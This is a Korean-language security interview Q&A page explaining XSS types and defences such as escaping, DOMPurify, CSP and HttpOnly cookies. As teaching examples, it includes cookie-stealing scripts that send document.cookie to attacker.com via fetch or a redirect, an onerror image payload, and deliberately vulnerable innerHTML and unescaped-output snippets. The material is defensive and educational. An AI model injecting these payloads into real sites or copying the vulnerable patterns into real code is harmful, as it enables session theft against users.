전체 목록
보안Medium#38

XSS(Cross-Site Scripting)란 무엇이며 방어 방법은 무엇인가요?

#보안#XSS#웹보안#OWASP
힌트

사용자 입력값 검증과 출력 인코딩을 생각해보세요.

정답 및 해설

XSS(Cross-Site Scripting)란 무엇이며 방어 방법은 무엇인가요?

XSS(Cross-Site Scripting)는 공격자가 악성 스크립트를 웹 페이지에 삽입하여 다른 사용자의 브라우저에서 해당 스크립트를 실행시키는 공격입니다. 공격자는 이를 통해 세션 쿠키를 탈취하거나, 사용자를 피싱 사이트로 리다이렉트하거나, 페이지 내용을 변조할 수 있습니다.

XSS 공격의 유형

1. 저장형 XSS (Stored XSS / Persistent XSS)

공격자가 악성 스크립트를 서버 데이터베이스에 저장합니다. 다른 사용자가 해당 데이터를 조회할 때 스크립트가 실행됩니다. 피해 범위가 가장 넓습니다.

공격 흐름:
1. 공격자가 게시판에 악성 스크립트가 포함된 게시글 작성
2. 서버 DB에 악성 스크립트가 저장됨
3. 다른 사용자가 해당 게시글을 조회
4. 브라우저가 스크립트를 실행 → 쿠키 탈취, 피싱 등

예시 — 게시글에 삽입된 악성 코드:

<!-- 공격자가 게시글 내용으로 입력한 텍스트 -->
<script>
  // 사용자의 세션 쿠키를 공격자 서버로 전송
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

2. 반사형 XSS (Reflected XSS / Non-Persistent XSS)

악성 스크립트를 URL 파라미터에 포함시킵니다. 서버가 이 값을 검증 없이 응답에 그대로 반환하면, 해당 URL을 클릭한 사용자의 브라우저에서 스크립트가 실행됩니다.

공격 흐름:
1. 공격자가 악성 URL을 이메일/채팅으로 전송
2. 사용자가 URL 클릭 → 서버에 요청
3. 서버가 URL 파라미터 값을 응답 HTML에 그대로 포함
4. 브라우저가 응답 파싱 중 스크립트 실행

예시 — 취약한 검색 페이지:

악성 URL:
https://example.com/search?q=<script>document.location='https://attacker.com?c='+document.cookie</script>

서버의 취약한 응답:
<p>검색 결과: <script>document.location='https://attacker.com?c='+document.cookie</script></p>

3. DOM 기반 XSS (DOM-based XSS)

서버를 거치지 않고 클라이언트 사이드 JavaScript가 DOM을 조작하는 과정에서 발생합니다. document.URL, location.hash, document.write() 등을 안전하지 않게 사용할 때 나타납니다.

// 취약한 코드 예시
// URL의 hash 값을 그대로 innerHTML에 삽입
const name = location.hash.slice(1); // #<img src=x onerror=alert(1)>
document.getElementById('greeting').innerHTML = '안녕하세요, ' + name;
// → onerror 이벤트 핸들러가 실행됨

방어 방법

1. 출력 시 HTML 인코딩 / 이스케이프

사용자 입력값을 HTML에 출력할 때 특수 문자를 HTML 엔티티로 변환합니다. 브라우저가 스크립트로 해석하지 않고 텍스트로 표시합니다.

변환 규칙:
&  →  &amp;
<  →  &lt;
>  →  &gt;
"  →  &quot;
'  →  &#x27;
/  →  &#x2F;
// 직접 구현 예시 (Node.js)
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

// 취약한 코드
res.send(`<p>검색어: ${userInput}</p>`);

// 안전한 코드
res.send(`<p>검색어: ${escapeHtml(userInput)}</p>`);

2. 입력값 검증 및 화이트리스트 필터링

서버와 클라이언트 모두에서 입력값을 검증합니다. 허용할 값의 목록(화이트리스트)을 정의하고 그 외는 거부합니다.

// 서버 사이드 검증 (Express.js + express-validator)
import { body, validationResult } from 'express-validator';

app.post('/comment', [
  body('content')
    .trim()
    .isLength({ min: 1, max: 1000 })
    .escape(), // HTML 특수문자 이스케이프
], (req, res) => {
  const errors = validationResult(req);
  if (!errors.isEmpty()) {
    return res.status(400).json({ errors: errors.array() });
  }
  // 저장 로직
});

HTML 허용이 필요한 경우(WYSIWYG 에디터 등)에는 DOMPurify 같은 라이브러리로 안전한 태그만 허용합니다.

import DOMPurify from 'dompurify';

// 허용된 태그와 속성만 남기고 나머지는 제거
const clean = DOMPurify.sanitize(userInput, {
  ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href']
});
document.getElementById('content').innerHTML = clean;

3. Content Security Policy (CSP) 헤더

HTTP 응답 헤더로 어떤 출처에서 스크립트를 실행할 수 있는지 브라우저에 지시합니다. 인라인 스크립트 실행을 차단하는 것이 핵심입니다.

// CSP 헤더 설정 예시
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  object-src 'none'
// Express.js에서 Helmet 라이브러리로 CSP 설정
import helmet from 'helmet';

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],  // 인라인 스크립트 차단
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", "data:", "https:"],
    objectSrc: ["'none'"],
  },
}));

CSP가 설정되면 <script>alert(1)</script> 같은 인라인 스크립트와 허용되지 않은 외부 스크립트를 브라우저가 실행하지 않습니다.

4. HttpOnly 쿠키 설정

세션 쿠키에 HttpOnly 속성을 설정하면 JavaScript에서 document.cookie로 접근 불가합니다. XSS로 쿠키를 훔치는 공격을 직접적으로 차단합니다.

// Express.js 세션 쿠키 설정
app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,   // JS에서 접근 불가
    secure: true,     // HTTPS에서만 전송
    sameSite: 'strict' // CSRF 방어도 추가
  }
}));
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

5. React의 자동 이스케이프

React는 JSX에서 문자열을 렌더링할 때 자동으로 HTML 이스케이프를 수행합니다. 대부분의 XSS 공격이 자동으로 방어됩니다.

// 안전: React가 자동으로 이스케이프 처리
const userInput = '<script>alert("xss")</script>';
return <div>{userInput}</div>;
// 렌더링 결과: &lt;script&gt;alert("xss")&lt;/script&gt;

// 위험: dangerouslySetInnerHTML은 이스케이프 없이 HTML 삽입
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
// 반드시 DOMPurify로 sanitize 후 사용
return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />;

방어 전략 요약

방어 방법대응하는 XSS 유형설명
출력 시 HTML 인코딩저장형, 반사형특수 문자를 HTML 엔티티로 변환
입력값 검증/필터링저장형, 반사형DOMPurify로 안전한 HTML만 허용
CSP 헤더모든 유형허용된 출처의 스크립트만 실행
HttpOnly 쿠키모든 유형JS에서 쿠키 접근 차단
DOM API 안전 사용DOM 기반innerHTML 대신 textContent 사용
React JSX 사용모든 유형자동 이스케이프로 기본 방어

XSS 방어의 핵심은 신뢰할 수 없는 모든 데이터를 출력할 때 컨텍스트에 맞게 이스케이프하는 것입니다. 단일 방어책에 의존하지 않고 여러 계층의 방어(Defense in Depth)를 적용하는 것이 중요합니다.